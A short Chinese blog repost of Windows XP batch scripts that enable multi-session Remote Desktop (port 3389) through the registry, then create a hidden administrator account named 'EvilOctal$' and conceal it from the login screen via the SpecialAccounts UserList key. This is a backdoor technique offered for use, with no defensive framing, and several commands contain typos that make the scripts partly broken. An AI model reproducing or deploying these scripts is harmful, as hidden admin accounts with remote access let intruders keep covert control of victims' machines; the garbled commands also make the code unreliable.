XP终端服务远程登录批处理

@echo REGEDIT4>C:/est.reg
@echo. >>C:/est.reg
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Licensing Core]>>C:/est.reg
@echo "EnableConcurrenSessions"=dword:00000000>>C:/est.reg
@echo "Tsenabled"=dword:00000001>>>>C:/est.reg
@regedit /s C:/est.reg
@del /y C:/est.reg
@net start termservice
@shutdown -l

这样就开启了XP中3389的多用户模式...
下面我们加入一个用户并且同步解决在使用友好登录的时候面版上的用户名:)
这个batch这样写
@net user EvilOctal$ security /add
@net local group administrators EvilOctal$ /add
@echo REGEDIT4>C:/EvilOctal.reg
@echo. >>C:/EvilOctal.reg
@echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/winlogon/specialaccounts/userlist]>>C:/EvilOctal.reg
@echo "EvilOctal$"=dword:00000000>>C:/EvilOctal.reg
@regedit /s C:/EvilOctal.reg
@del /y C:/EvilOctal.reg

From: http://hi.baidu.com/sorc/blog/item/7a22df1bdf3ee2d5ac6e7563.html

你可能感兴趣的:(c,XP,Security,user,远程登录,终端)